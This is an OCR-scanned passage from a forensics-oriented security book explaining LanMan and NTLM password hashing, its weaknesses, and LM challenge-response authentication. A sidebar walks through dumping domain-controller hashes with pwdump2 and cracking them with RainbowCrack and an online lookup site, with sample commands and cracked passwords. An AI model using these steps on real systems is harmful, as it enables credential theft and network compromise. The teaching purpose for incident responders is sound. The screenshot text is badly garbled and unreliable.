hash cannot be reversed or decrypted to reproduce the original password, then how do attack-
ers “crack” passwords? The attacker simply guesses what the password may have been. He then
runs that guess through whatever password-hashing algorithm is used by the target system.
The attacker compares the password hash generated by hashing his guess to the password

hash that he is trying to crack. If the two match, then the guess was correct. If the two do not
match, then the guess was incorrect. The more guesses the attacker makes, the greater his odds
of correctly guessing the password. The process therefore consists of multiple iterations of the
following;:

1. Guess a possible password.

2. Generate a password hash of the guess using the same hashing algorithm used by the
target system.

3. Compare the hash of the guess to the hash of the target account.
4. If the two match, the guess is the original password. If the two do not match, start over.

Many attackers employ a dictionary of possible passwords to facilitate the password-cracking
process. The attacker will hash each entry in the dictionary, comparing the resulting hash of
each entry to the hash that he is trying to crack. The use of dictionary-based attacks is the rea-
son that administrators often require their users to include numbers or special symbols within
their passwords. Attackers, of course, have modified their dictionaries to include entries that
are not words. Indeed, dictionary files used by attackers will often contain permutations that
include numbers, uppercase and lowercase letters, special symbols, as well as names, places,
and other words in a multitude of languages (up to and including Klingon and Elvish). The
greater the number of entries in a dictionary file, the greater the odds are of the attacker guess-
ing the original password.

Figure 4.2 shows the password-cracking process. In this figure, the term target hash refers to
the password hash that the attacker wants to crack. Since password-hashing algorithms are one-
way functions, an attacker cannot determine what the original password was by simply analyz-
ing the target hash. As shown in Figure 4.2, in order to crack the original password, the attacker
must attempt a series of guesses and calculate the resulting password hash value for each pos-
sible password. The attacker then compares the password hash that the attacker is trying to
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crack to the resulting hash of each guess. If the two hashes match, then the guess is correct and
the attacker has cracked the original password.
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We mentioned earlier that the attacker must use the same encryption process or hashing
algorithm that was used by the target system to encipher the original password. In the case
of Windows systems, this will either be the MD4 hash algorithm for NTLM passwords or
DES for LanMan passwords. These are the only two protocols that are used to hash and store
Windows account passwords on the hard drive. The fact that all Windows systems have the
capability to calculate and store the LanMan hash of the password doesn’t mean that they do.

In fact, beginning with Windows Vista and continuing through Windows Server 2008 and
Windows 7, the storage of LanMan-encrypted passwords has been disabled. The NTLM-hashed
passwords, on the other hand, are alive and well and can be found in all current versions of
Windows.

In many cases, the storage of the password enciphered using two different processes is
employed for backward compatibility. Thus, we are left with two password hashes that are the
target of attackers. When both LanMan and NTLM are available, the attacker has her choice of
which protocol to attack. As you will see, the problems that besiege the LanMan protocol make
it the target of choice. As we will explain later in this chapter, for systems that store only the
NTLM password hash, the would-be attacker has much more work to do.

The LanMan password-encryption process dates back to the days of Windows for
Workgroups. In those days, security was not necessarily at the top of the list of design elements
for any new system, and thus the LanMan password-encryption process suffers from inher-
ent weaknesses that result in a system that is relatively easy to compromise. To understand the
issues, you must first understand the LanMan encryption process. We can demonstrate this
most easily by way of an example.

Modern Windows systems can support case-sensitive passwords of up to 127 characters.
When LanMan was created, the maximum length of a Windows password was only 14 char-
acters, and the case of each letter was ignored. The LanMan process considers only the first 14
characters of a password, truncating any additional characters as irrelevant. In addition, if the
password is less than 14 characters long, LanMan will pad it with zeros until it reaches 14 char-
acters. As an example, consider the following secure password:

IfwN8*f&fhql2!Sg94
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To calculate the LanMan hash of this password, we must first truncate it to the maximum
allowable length of 14 characters. The password then becomes:

IfwN8*f&fhql2!

The result is, admittedly, still a rather secure password. It would take a lot of guessing for an
attacker to correctly guess this particular string of uppercase letters, lowercase letters, numbers,
and special symbols. Unfortunately, LanMan is not yet finished neutering this particular pass-
word. The LanMan process does not consider the case of a letter. Instead, it treats all characters
as if they were uppercase. By converting all of the letters to uppercase, we are left with the
following;:

TFWN8*F&FHQ12!

Again, although we have substantially decreased the security of this password, it is still
fairly secure. An attacker would have to use a very large dictionary to eventually guess this
14-character string correctly. Unfortunately, LanMan isn't finished yet. LanMan will now divide
the password into two parts. The first 7 characters are treated as one password, and the remain-
ing characters (up to 7 including any padding) are treated as a separate password. Now, instead
of one large password, we have two small passwords:

IFWN8*F &FHQ12!

LanMan will now encrypt each part of the original password separately. The details of the
encryption process are not overly important for our purposes. Suffice it to say that the password
is used as a key to DES-encrypt a “magic string” of KGS!@#$% (exactly why this string was cho-
sen and why Microsoft felt that it was magic is a question for the ages). This DES encryption
produces a separate 8-byte hash value for each half of the password:

HASH1 HASH2

After the two hashes are calculated, they are then concatenated without further modification.
The resulting 16-byte value is then recorded as the LanMan hash for the original password,
such as:

HASH1HASH2

The problem with treating the 14-character password as two separate passwords is that it
greatly decreases the amount of work the attacker must perform to correctly guess the pass-
word. Rather than having to correctly guess the entire 14-character password correctly one time,
the attacker must now correctly guess two 7-character passwords. The later task is exponentially
easier to perform, substantially weakening the security of the original password. Rather than
having to use a dictionary that includes words from 1 to 14 characters, the attacker can reduce
the size of the dictionary by limiting the maximum size of each entry to only 7 characters. The
fact that the dictionary only needs to include uppercase letters, numbers, and symbols also
keeps the size of the dictionary relatively small.

Let’s put this issue into perspective with some real numbers. The maximum number of pass-
words that could exist using full case sensitivity and all the keys on a standard keyboard would
be 95 (roughly 4.87 X 10¥). On the other hand, a password that is only 7 characters has a maxi-
mum number of potential passwords of 957 (roughly 6.98 x 10"%). If we then reduce the number of
valid characters to only include uppercase, the number of potential passwords decreases to 697
(roughly 7.45 x 10'). This is an enormous reduction in the total number of potential passwords.
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DES

The Data Encryption Standard is a symmetric encryption algorithm used to encrypt information
so that its original content would only be decipherable to people in possession of the appropriate
key (a 7-byte value that was used during the encryption process). The standard is now considered
very weak and has given way to more secure encryption standards like the Advanced Encryption
Standard (AES).

An additional problem with the LanMan process is its lack of variety. If my password was
finn, it would have a particular LanMan hash value. If another user on a separate Windows sys-
tem created a new, separate, and unrelated account but happened to also choose finn as a
password on that system, before the password was stored on disk, the LanMan hash would be
the same on each system. By contrast, other password storage processes add a “salt” to the pass-
word provided prior to calculating their hash. The salt can technically be any piece of data, like
a number or a text string. When a salt is used, the salt must be stored along with the resulting
password hash. For example, in a system that uses salts, the password finn might be changed
to finn382 and then hashed. The system would then store the resulting hash and the salt that it
added to the original password. When a user is later asked for the password, the system would
take the password provided, look up the salt that was originally used, add that salt to the pass-
word, and then hash the result. If the hash generated matches the hash stored, then the authenti-
cation is successful.

Since LanMan doesn’t use any variation, such as a salt, the actual LanMan hash, excluding
SysKey encryption, of any password on one Windows computer is the same as the LanMan
hash of that same password on any Windows system. This opens up the system to a precom-
puted hash table attack. As we discussed previously, for an attacker to crack a password,
she must make many guesses as to what the password might be and calculate the resulting
LanMan hash for each guess. This can be an extremely processor-intensive event and can take
many weeks, months, or years to complete depending on the speed of the processors being
used. Incidentally, this time delay is one reason that many administrators will require pass-
words to be changed every 30 to 90 days. The theory is that if an encrypted password hash is
compromised, the password will be changed by the time the attacker manages to crack it by
brute force.

Breaking the LanMan password hashes by using a precomputed hash table, however, is a much
easier undertaking and can result in broken passwords in seconds to minutes instead of months or
years. To create a password hash table the attacker simply takes each word in his dictionary, cal-
culates the LanMan hash of the password, and stores the result in a table. Then, when he wants to
crack a given LanMan password, all he has to do is to look up each part of the LanMan hash in the
table and read across to determine the original password text. This makes cracking the LanMan
password trivial. The total volume of space required to store the entire range of possible pass-
words that are LanMan encrypted is relatively small given the size of today’s hard drives. These
tables are available for download on the Internet, and most versions are free.

Since LanMan has such huge security problems, Microsoft provides mechanisms to dis-
able its use on many Windows systems, and it is disabled by default in every Windows version
starting with Windows Vista. In pre-Vista operating systems, the LanMan disabling methods
involved modifying the appropriate Group Policy settings and/or registry entries. Making
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these modifications, however, can cause problems with older applications that are hard-coded
to only accept LanMan hashes, and this change does not necessarily represent the security sil-
ver bullet. Disabling the storage of the encrypted LanMan password hashes will result in all
future passwords being computed with only the NTLM hash, but it will not erase the LanMan
data that is already calculated and stored. This means that unless you change your password
after making this change, your password is still stored in LanMan format. In addition, trying

to prevent the use of LanMan in a network can wreak havoc with network systems, particularly
third-party software that relies on the LanMan standard to function. While these situations are
less and less common with the development of more security-aware applications, it is often the
case that LanMan hashes are still being stored. Of note is that beginning with Windows 2000,
the LanMan hash is not stored if the password is longer than 14 characters. Although this is

a nice feature, few users routinely choose passwords longer than 14 characters, limiting the
security benefit realized. Even in OSes that disable LanMan by default, the use of LanMan pass-
words can be reinstated with a simple Group Policy or registry tweak. There is even a plethora
of “helpful” instructions found not only on generic Internet forums but also on the Microsoft
website that tell you how to make sure that LanMan survives the current OS’s default disabling.

@ Real World Scenario

CRACKING PASSWORDS ON A WINDOWS SERVER 2003 DOMAIN CONTROLLER

We’re sure you’re looking at the title of this sidebar and thinking to yourself, “2003 Domain
Controllers? Shouldn’t we be talking about Server 2008?” You are not alone in that thought process,
but the reason we are including Server 2003 information here is that even though Server 2008 has
been out for approximately three years as of this writing, we still see far more Server 2003 boxes in
our Incident Response (IR) practice than we do 2008. Since Server 2003 is still so prevalent in the
field and it stores LanMan data by default (and since Server 2008 doesn’t), we feel it’s important to
cover this topic in this edition.

So, let’s look at one way in which an attacker who has compromised a domain controller can extract
and crack the passwords contained on that machine. For this attack to work, the attacker must first
have administrator-level privileges on the victim computer. This can be obtained through some
form of exploit, as discussed in Chapter 1, “Understanding and Exploiting Windows Networks.”
One question often asked by students is, “If the attacker already has administrator control on the
system, why would she need to crack passwords?” It is important to understand the answer to
this question. Although an attacker may gain access to a computer, she will normally want to find
ways to expand her control throughout the network and guarantee her ability to reenter the com-
promised system at some point in the future. The vulnerability that she exploited to take control
of the system may be patched tomorrow by the system administrator, effectively locking her out
of the system. Password cracking is one way that an attacker can embed on the victim system and
expand her influence throughout the network. Gaining administrator access to a domain control-
ler gives the attacker a great deal of power, but knowing the usernames and passwords of all the
accounts (including the administrator accounts) that are valid throughout the domain gives her
the keys to the entire kingdom.
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After the attacker has gained administrator-level control of the system using an exploit, she can
then leverage that access to steal the passwords from the system. In our example, the attacker has
compromised a Windows Server 2003 domain controller. She will now use the pwdump2 tool to
inject adynamiclinklibrary (DLL) that tricks the local security authority subsystem into reading
the account names, user account RIDs, LanMan-encrypted passwords, and the NTLM hashes for
each user from either a local SAM file or from the Active Directory database of the target system.
By using this process, the attacker gets around the SysKey encryption that is in place when this
password data is stored on disk. Pwdump2 runs from the local system and not against a remote
target. A similar tool, called pwdump3, can be used to extract the password data remotely. These
do not comprise the whole universe of password hash-dumping tools. Simply ask your friend
Google, and you’ll have more tools than you could possibly ever use.

The syntax of the pwdump2 tool could not be simpler: type pwdump2 at the command line, and
the results will dump to the screen. At this point the attacker can simply cut and paste the results
to a text file. As an alternative, the attacker can redirect the results directly to a text file such as

pwdump2 >> pass.txt

This would send the results not to the screen but rather to a text file against which a password
cracker can later be used. The following shows the results of running the pwdump2 command
against our target server:

&~ Command Prompt =] X

-
C:\Too lsspudunp2 >pudunp2
Adninistrator:5008:hBa?764221f5474daad3b435h51404ee : 6dhe2f‘?cﬁcf6?13446a]f31&'?2ane46
Guest 501 :aad3h435h514B4ecaad3h435h51404ee:31dbcfeBdi6ae?31h?3c59d7eBcBBICO:
krhtgt 582 : aad3b435h51484ee aad3b435h51484ee : 9hhi62337cccc ?d3b8e232742hc P8 b:
SUPPUHT _388945a0: 1001 : ﬂad3h435b51‘134eeaad3b435b51434€e ed4diid6efe2a?B8ccd??43ce2abdh?8d6:::
USR_W28B35RUR:1805 :d6ae2d7edclcIcced?525a%caf2FaZca:5dcBfd427645d56hd3cde 1 F954d45924!
Il..lMl W2PA3SRUR : 1806 = aBbBFd490828504233ca3669697584u3 33afed5d8bacl 5!919‘?321438?204?553 e
ASPNET : 1009 : a78c5£ 1c28548hf 319d67289eA4a388c : 23l2725291f53f87h6&4259f4]9
htaylor:1A108:84274958945chb37aad3b435h514084ee = cB84%a0
tmcgrath:1011:86faed1a471915ad4aad3h435h51404ee Gsﬁhﬁ5c22fﬁ?5‘3fhf88bb943'?d1br174ﬂ
dmcarthur:1812:28697h3abadbbe Ihaad3h435h514B4ee taefead5858120a7abc 3cf Pacd46d@hea:
hualker:1013:88d83fB116h6922bc2265h23734eBdac :e29810d2chdeac2253f 2f d2F59£d469
gjewell:1014:8cBecI6fhBAIF5hPe?2c57ef 50F 76a05:129a55%c1c271562953cd2928F579Bab:
Jeousins :1015:f44682h88678ce?3aad3h435h51484ee s F8aBbbec54151d1112cad5eaeafaccih
pniemann:1016:d2edlc?d4baBelB6f3hd49edf 32eh4ad:B526ef 4FfBf 93fcBf hBe3f93c1M@54818
mpowell:1A17:635e58829fb9fd8b2c2c2a2cad2924ele3d192e8dc3d49861e h9f8&eee37212
Jice:10818:f89ef453661185dch?510%ah@2@edflic :hdeabB83B92d1£7912497fd2b3a%3f1ce:

M5 :1123 :aad3b435b51 484eeaad3b435h51484ee s 4bh319252cc?d3aB?e b
SRLESMGROFFICEs 1124:aad3h435h51484eeaad3bh435h51484ee: 4cf ?d3chAdal6f168bid6be8d
SALES2%:1125:2ad3h435h51484eeaad3b435h51404ee s 7d3Ff 906788ec95934e29F57144745c40:
SALES3%:1126 :aad3b435h51484eeaad3b435h51484ee - £ B4h5cBI2ddB5f 985ea32c5hd63e79d
SALES4%:1127:aad3b435h51484eeaad3h435h514684ee = 23e4b6da3B?ﬂﬁﬂ‘?l')a32?3l?[fd99rl3e
HR1%:1128 :aad3h435h51484ecaad3h435hh1404ee :2feBB83760cB1 Jabede??eheB1d55 e
HR2%:1129 :aad3h435b51484eeaad3h435h51404ee : fdal1ac8?ffeF1ad1l1755lﬂlﬂBSbB}‘89lﬂ
HRMGR$:1130:aad3h435h51484eeaad3bq35h51404ee :6252aa5F78272c7F62219d7e?BaZachhz = 2

C:\Tools\pudunp2>_

=

The output of pwdump2 deserves some explanation and observation. The fields presented are
as follows:

account name: relative identifier: LanMan hash: NTLM hash:::

The account names themselves may seem a little odd. Remember that Windows systems maintain
accounts not only for users but also for computers and even for service accounts. An entry is also
created for each group that is created on the system. The entries that end with a dollar sign repre-
sent the computer (N2003SRVR$) and the various groups created on that computer. The account
names written in all capital letters, as well as the krbtgt account, are service accounts designed
to allow certain services to run within a specific security context. The remaining account names
are user accounts, with Administrator and Guest being created by default.
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Looking at the LanMan hash field in the previous illustration, keep in mind that the LanMan hash
is actually two 8-byte hashes joined together. Therefore, you can divide each one in half to form
the two different hashes. Notice that the hash aad3b435b51404ee appears frequently within
the list, normally as the second half of a LanMan hash. This particular value is obtained when the
LanMan process is applied to a blank, seven-character password. Password-cracking utilities can
simply look at the hash to determine if the password was blank by comparing it to this value. If
this value appears, the original password (or at least that half of the original password) was blank.

Look at the LanMan hash for user sharrett and for user Guest (reprinted here in the pwdump
format). Both of these password hashes are the same, and both of them represent a blank password
for both halves of the LanMan hash:

Guest:501:aad3b435b51404eeaad3b435b51404ee:
31d6cfe0d16ae931b73c59d7e0c089cO0: : :
sbarrett:1135:aad3b435b51404eeaad3b435b51404ee:
a43f71649685d895dd3e88153e37652cC: : :

Although both of these entries indicate a blank password in the LanMan hash field, the reason for
this is different in each case. The Guest account on this machine does indeed have a blank pass-
word; however, the sharrett account has a complex password set. Why then does the LanMan
hash show blank? Remember, we mentioned earlier in this chapter that the LanMan hash is not
calculated on Windows 2000 or later computers when the original password is greater than 14 char-
actersinlength. Thisisan example of that situation. The password for the sharrettaccountis 21
characters long. When the hash was generated for that password, the NTLM hash was calculated,
but the LanMan hash was left blank (or more specifically, was calculated for a blank password).

On the other hand, look at the entry for the jcousins account:

jcousins:1015:144682b88670ce73aad3b435b51404ee:
f8a8bbec54151d1112cad5eaeafacc3b:::

In this case, the value for a blank password appears only in the second half of the LanMan hash.
This indicates that the original password consisted of 7 characters or less. LanMan looked at the
first 7 characters of the password and generated the first half of the hash value. When it went to
hash the second part (characters 8 to 14) of the password, it found that there was nothing there
to hash, resulting in the entry of aad3b435b51404ee in the second half.

Our attacker now has a list of all users on the domain controller (all domain users within the
domain) and their associated password hashes. She can now choose to attack the LanMan hashes,
the NTLM hashes, or both. Since the NTLM hash is calculated using the entire, case-sensitive
password, it is much more difficult to crack. Our attacker instead chooses to focus on the LanMan
hashes. She again has a choice. She can use a traditional password-cracking utility such as John
the Ripper that will take a dictionary file, hash each entry, and compare each result to the hashes
that she just obtained from the target server. Alternatively, she can obtain precomputed tables
showing the resulting LanMan hash for all possible passwords. Such a table is available for the
RainbowCrack tool that covers all possible Windows passwords and takes up under 65 GB of space.
For this example, let’s use the RainbowCrack tool.

The first step is to copy the results from pwdump2 in order to have a source file to feed into
RainbowCrack. The RainbowCrack executable is called rcrack . exe, and like many tools, simply
typing the name of the tool will provide you with a summary of its usage, as shown here. Note
the - f option for providing a pwdump output file.
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= Command Prompt HE

CEl=

C: \Tools\ralnbowcrack 1 2-win>rerack

RaipbowCrack 1.2 - Mak ? a Faster Cryptanalytic Time-Memory Trade-Off
hu Shuanglei <=huans eiBhotmail

http:~/www.ants ight.com7zs l/rainbowcrack/

o
<

usage: rcrack rainbow_table_pathname -h hash
rerack rainbow_table_pathname -1 hash_list_file
rcerack rainbow_table_pathname -f pwdump_file
rainbow_table_pathname: pathname of the rainbow table(s), wildchar(x, ?) support

-h hash: use raw hash as input

-1 hash_list_file: use hash list Flle as input, each hash in a li
-f pwlump_ ile: use pwdump file as input, this will handle lanmanaser ha
sh only

example: rcrack ®.rt -h Sd41402abcdb2a76b9719d911017c592
rerack ®*.rt -1 hash.txt
rcrack ®.rt -f hash.txt

C:N\ToolsNrainbowcrack-1.2-win> A4

The third usage option is the one that we will use. We will provide a path to a collection of rainbow
tables. A rainbow table is a special data structure that is capable of performing extremely rapid
lookups. Our rainbow tables contain all possible combinations of valid characters that make up a
Windows password of between 1 and 7 characters. This collection of tables is stored in just under
65 GB of space, and each table ends in the extension . rt, as in rainbow table. We will point our
crack tool toward this set of tables and provide the output from pwdump as the source of the
LanMan hashes that we would like to crack. RainbowCrack will extract the LanMan hashes from
the pwdump output file and then proceed to perform lookups for the target hash values within
the rainbow tables.

The following shows the RainbowCrack tool starting to run. The rainbow tables are located on
the E: drive, in a folder called al11. The tool will use any file in that directory that ends with an
. rt extension to look up the hashes within the pass . txt file.

+ Command Prompt - rerack “E\all\rt” -f pass. txt

C: \Tools\ra1nbowcrack 1.2-win>rcrack "E:NallM\%.rt" -f pass.txt -
pha-numeric- symbol32 space#l1-7_0_ 152@8x671@8864 _@.rt:

1@73741824 bytes read, disk access time: 37.72 s

verrFKuwg he file.

searching for 24 hashes.

1 AW

Note that the tool is looking for 24 hashes. Since LanMan treats each half of the password
discreetly, RainbowCrack will do the same, treating each 8-byte part of a hash as a separate
hash that needs to be looked up. In addition, if RainbowCrack sees that a hash has the value
aad3b435b51404ee, it knows that this is the hash of a blank password and will attempt no further
lookup on that hash. As a result, of the 29 accounts listed in the pwdump2 output (shown earlier
in the sidebar), Rainbow Crack needs to look up only 24 hashes.

As the tool continues to run, it presents us with the values of passwords as they are located. The
following graphic shows that three of the passwords have already been located. RainbowCrack
displays the corresponding passwords for each hash as they are found. Note that the passwords
are listed in uppercase letters, since LanMan treats all passwords as uppercase. Remember that
each half of a password is treated separately. Although these hashes may represent an entire
password, they also may simply be only the first or second half.
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= Command Prompt - rcrack “E:%all\*.rt™ - pass.txt = |l:|lx

C \Tools\ralnbnwcrack 1.2-win>rcrack "E:Nall\#¥.rt" -f pass txt =
pha-numeric-symbol32-space#1-7_8_15200x67108864_0.rt

1073741824 bytes read, disk access time: 2 s

verifying the file.

searching for 24 hashes. ..

plaintext of 8d274950945cbb37 is BIFFIEL

plaintext of 88d03fP110b6922b is PUDDLE$

plaintext of f44682b88670ce73 is THEBBSS

Ll | L

Once RainbowCrack has gone through all of its tables, it will present a report showing what the
full, original password for each account is. And once it knows the LanMan password, it will try all
possible uppercase and lowercase permutations of each password. Since the NTLM hash is based
on the case-sensitive password, when the correct permutation is reached, the NTLM hash calcu-
lated by RainbowCrack will match the one extracted by pwdumpz2. In this way, RainbowCrack
can determine what the case-sensitive password is for the account. The following shows the final
report from RainbowCrack, including the correct, case-sensitive password for each account that
had a LanMan hash:

<+ Command Prompt IE n
|
statistics

plaintext found: 24 of 24 (100.00x)
total disk access time: 855.44 s

total cryptanalysis time: 4842.69 s

total chain walk step: -653741395

total false alarm:
total chain walk step due to false alarm: 875317684

result
Administrator wiley hex:77696c6579
Guest ex:

ex:
SUPPSRT 38894520 hex:

USR_WZBB3SRVR  6h41’ I<MédK1,= hex:3668346c275d3c4d36644b312¢3d
IHAM “W2003SRVR  }LP.%0d, &{8PgY hex:7d4c502e396f 642c26 738506759
ASPNET 4KN2,V8_PCSZEL hex : 344b57322c76385f 5063385a384c

btaylor biffiel hex:62696666696531
tmcgrath modell hex i 6def 6465631
mcarthur awisw! 6973772
bwalker puddle$l hex 707564646c652431
gjewell 18dexman hex:31386465786d616e
Jjcousins theBOss hex:746865_2387373
pniemann lipidest hex: 6c6970696476337374
mpowe ]l 1 Mhallifwwas hex:4d68616c6c696677776173
Jjice queQnda!  hex: 7175654f 6e 121
cchappell LAcBnF1d3nt14l hex:4c4163306e666964336e7431346¢
thyslip ThigCat! hex:2162316743347421
sbarrett hex:
HWZ2PB3SRVRS$ hex:
SALES1$ hex:
RECEPTIONS hex:
SALESMGROFFICES$ hex:
SALESZ$ hex:
SALES3% hex:
SALES4$ hex:
HR1% hex:
HRZ$ hex:
HRMGR$ hex:
C‘\Taols\ralnhowcrack 1.2-win> | -
4 » 4
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The statistics at the top tell you how long the password-cracking took (about 1 hour and 45 minutes
on a Pentium M laptop). The tool also provides a list of all account names found in the pwdump-
formatted input file, the plaintext password, and a hexadecimal representation of the password’s
ASCIl equivalent. For accounts that had no password, the plaintext password field and hexadeci-
mal fields were left blank. Note that the sbarrett account has no LanMan hash listed since the
password length was greater than 14 characters and no LanMan hash was ever generated. To crack
that password, the attacker would need to either use a set of rainbow tables developed for use
with the NTLM algorithm or try a different password cracker and attempt to brute force the pass-
word, comparing each guess to the NTLM hash value to know when she guessed correctly. Given
the 21-character length of the sbarrett account’s password, this would be a formidable task.

Note that all passwords for which a LanMan hash was available, even the extremely complex,
system-generated passwords on the system accounts (such as ITUSR_W2003SRVR and so on), were
successfully cracked in less than two hours. With a more powerful cracking machine, or when
cracking fewer passwords at a time, the time can be reduced even further. The attacker now
has all of the passwords for all domain accounts, including the domain administrator account.
With this knowledge she can log on to any machine in the domain, take any data, install any
rogue software, or perform any other action that she wishes. At this point, the victim network
is completed compromised.

Now, if you don’t want to take the time to create or don’t have the space to maintain your own
rainbow tables, there are plenty of options online for looking up password hashes. One such site
ishttp://www.objectif-securite.ch/en/products.php/. This site allows for the crack-
ing of LanMan hashes for passwords that are 14 characters or less. Navigating to the site, you can
find the “XP Special Demo” section and the box where hashes can be typed or pasted. This search
is normally very quick and has remarkable success. We copied and pasted the hash dumps we
collected earlier for the jcousins account into the website. The resulting password decryption
took about 15 seconds.

XP Special Demo

Feel free to enter any windows password hash and te hawve it cracked below. This should take only a
few seconds in average. The demo cracks passwords made of 52 mixed case letters, 10 numbers and
33 special characters of length up to 14 (XP special tables on sterpids).

Ple:ase do not click the reload button before you get your results: you will loese your turn and the cracker
will be Busy until t has finished your request anyway...

hash I submit hash

XP Special Demo

Feel fres to enter any windows passward hash and to have it cracked below. This should take only a
{evww seconds in average. The demo cracks passwords made of 52 mixed case letters, 10 numbers and
33 speeial characters ef length up to 14 (XP special tables on steroids).

Please do not click the reload button before you get your results: you will loose your turn and the cracker
wil be busy until t has finished your request anyway...

hash: faBbbec54151811120ad5eae staccdo

97



98 |CHAPTER4 WINDOWSPASSWORD ISSUES

hash: submit hash |

Hagh: f448282b226T0ceT 3aad b4 25bE 1404 e f2atbbecE4151d1112cadSeacafacci
Password: theB0ss

Itis vital that you, as an investigator, incident responder, or security professional, understand how
devastating a compromise to a domain controller can be. Many victim organizations would erase
the compromised DC, reload it from known-good media, allow it to replicate Active Directory from
another DC, and consider the problem solved. We hope that you can now see how important it can be
to look for further signs of compromise, to analyze which privileged accounts may have been used
after the initial intrusion, and to try to gather as much information as possible about the scope of
the incident. Without thorough and methodical analysis and mitigation, an attacker may continue
to own a network long after the victim thinks the damage has been contained.

Now that we have shown how the LanMan hash is calculated and where it is stored, we’ll
take a look at how an attacker can take advantage of these problems to crack passwords. We will
use the pwdump? tool (available at http://www.packetstormsecurity.org/Crackers/NT/)
to extract the usernames and password hashes from the target system. We will then do a pre-
computed hash table lookup on the LanMan hashes using a tool called RainbowCrack (available
at www.project-rainbowcrack.com). We will then demonstrate how to conduct the password
cracking using an online tool that does the same rainbow table lookup (http://www.objectif-
securite.ch/en/products.php/).

Exploring Windows Authentication Mechanisms

When a password is used to log on to a local computer, the local security subsystem can ask the
user for a username and password, and the user can input that information directly to the local
computer via the keyboard. When a user is accessing a remote system from across a network
connection, the user must have some other mechanism to provide the username and password
to the remote computer. The challenge in doing so is to find a way to send that data across the
network while minimizing the chance that an attacker who is monitoring the network com-
munication (via a sniffer, for example) would be able to learn the username/password combi-
nation. Windows systems use one of three main types of authentication mechanisms to access
remote computers: LanMan authentication, NTLM authentication, and Kerberos. Microsoft
implemented these systems over time in the previously listed order, and it is no surprise that the
oldest authentication system is indeed the weakest. We will look briefly at these authentication
methods and examine ways in which attackers can use them to harm network security.

FOR MORE DETAIL

The following descriptions of Windows authentication are designed to provide investigators with
enough information to understand how attackers may exploit Windows systems and utilize tools
to defeat Windows security. For a more thorough explanation of these mechanisms, along with
code samples, see Christopher Hertel’s exceptional work Implementing CIFS: The Common Internet
File System (Prentice Hall, 2004).




EXPLORINGWINDOWSAUTHENTICATION MECHANISMS | 99

LanMan Authentication

Before you start, it is important to understand the distinction between a LanMan hash and a
LanMan authentication. The hash is the value calculated based on a certain password, as dis-
cussed previously. LanMan authentication is a process that relies on that hash to determine
whether a remote user has provided a valid username/password combination. Although a
LanMan authentication relies on the LanMan hash, the LanMan hash is never actually sent
across the wire during an authentication session. The hash itself is considered too sensitive to
send in the clear over the network. Instead, the LanMan authentication uses a fairly simple pro-
cess to try to protect the LanMan hash value from disclosure to an attacker who may be moni-
toring the communication, while still making an accurate authentication decision based on the
username/password combination provided by the remote user.

To better understand this concept, we’ll examine how the LanMan authentication (also called
LM authentication) mechanism works. When a user on one computer wishes to authenticate to
a remote system (such as when a user tries to map a network drive to another machine or when
she tries to access files on a remote share), the user must provide her username and password.
The username is sent in the clear along with the request to authenticate to the remote machine.
In response to this request, the server sends back an 8-byte challenge. The client computer then
encrypts the challenge with a key that is based on the LanMan hash of the user’s password and
sends the encrypted response back to the server. Figure 4.3 illustrates this process.

FIGURE 4.3 Username and Connection Request
The LanMan >
authentication < Challenge
process % LM Response (Encrypted Challenge)
Client Server

As you can see in the previous figure, the LanMan hash is never actually sent across the
wire. The server machine contains a copy of the user’s LanMan hash in its SAM file. The client
machine can calculate the appropriate LanMan hash by asking the user to input her password
and then running the LanMan hash algorithm against that password. The LanMan hash then
serves as a shared secret between the two computers, with each knowing the value of the user’s
password’s LanMan hash. The client encrypts the challenge using the LanMan hash and sends
the response. The server then uses its copy of the LanMan hash to independently encrypt the
original challenge. If the response sent back from the client matches the encrypted challenge
as calculated by the server, then both computers know the LanMan hash for the user’s account,
and the authentication is successful. The LanMan authentication process outlined in Figure 4.3
enables the client machine to prove to the server machine that it knows the shared secret (the
LanMan hash) without sending the LanMan hash across the wire.

If an attacker were to intercept the authentication communications, he would have access
only to the username, the challenge, and the encrypted version of that challenge. The challenge-
response process provides some protection against replay attacks. A replay attack occurs when an
attacker copies an authentication message as it crosses the wire and then resends that message
at a later date to impersonate the user. Since the encrypted response is based on an 8-byte chal-
lenge, a replay attack would be successful only if the challenge issued by the server was the same
during the recorded session as it was during the attempted replay. A problem does exist however,
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FIGURE 4.4 Unknown Key
The elements of a

known plaintext

attack

in that the challenge is not truly random, so it leaves itself susceptible to a predictive challenge
attack whereby the attacker guesses the challenge based on information taken off the wire.

FOR LESS DETAIL

Although we think that the next couple of pages are important information for investigators,
incident responders, and security professionals to understand, we also want to give you fair
warning. We have witnessed the heads of some previous students explode during the presenta-
tion of this material. If you feel that the next couple of pages are too technical, you can simply
accept our word that LanMan authentication has some significant cryptographic flaws, making
it a weak means of exchanging password data. On the other hand, if you can hang in there, your
knowledge of how older Windows systems (and other systems) can be exploited will only increase
by understanding the subject in more detail.

Although the LanMan authentication process provides some level of security, we’ll now look
at a few of its weaknesses. By providing both the challenge and the encrypted reply to that chal-
lenge, the process is vulnerable to a known plaintext attack. In this type of attack the attacker
knows both the encrypted form of a communication (the encrypted LM authentication response)
and the original message that was encrypted (the 8-byte challenge issued by the server). This
provides the attacker with three parts of a four-part equation, as shown in Figure 4.4. If an
attacker is monitoring the network and captures the authentication message as it passes on
the wire, he knows the original message (the challenge), the resulting encrypted message (the
response), and the algorithm used to perform the encryption, but he still does not know the key
that was used to perform the encryption.

Y
Known Challenge Known Algorithm I—»@I

At this point, the attacker needs to determine what key was used to encrypt the challenge.
The difficulty of accomplishing this is based on the length of the encryption key and how ran-
domly it was calculated. In this case, you will see that the security of the LanMan authentication
mechanism starts to break down when the complexity (or lack thereof) of its key is examined.
The key used to encrypt the LM challenge is a 21-byte value. This key is generated by taking the
16-byte LanMan hash and adding 5 bytes of zeros to the end of it. Remember that the LanMan
hash itself was simply the concatenation (or joining together without modification) of two 8-byte
hashes, one created by DES encrypting the string KGS ! @#$% with the first seven characters of
the password and the second created by DES encrypting the same string with the second set
of seven characters (padded with zeros if the original password was less than 14 characters).
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Figure 4.5 shows how the key used to encrypt the challenge is generated. The original password
is truncated or padded with zeros until it reaches a length of exactly 14 characters. It is then split
into two halves. Each half is used to DES encrypt the string KGS ! @#$%, generating two 8-byte
hash values. These two values are joined into one 16-byte value. Five bytes of zeros are then
added to the end to create the final, 21-byte key.

FIGURE 4.5

The creation of the
key used to encrypt Password padded to

the LM authentica- 14 bytes, converted |

tion challenge to uppercase, and
split in half

User’s password TestPassword

TESTPAS | SWORD_ _

= =
Use each half of the \ A vy

password as a | KGS!@#$% | KGS!@#$%
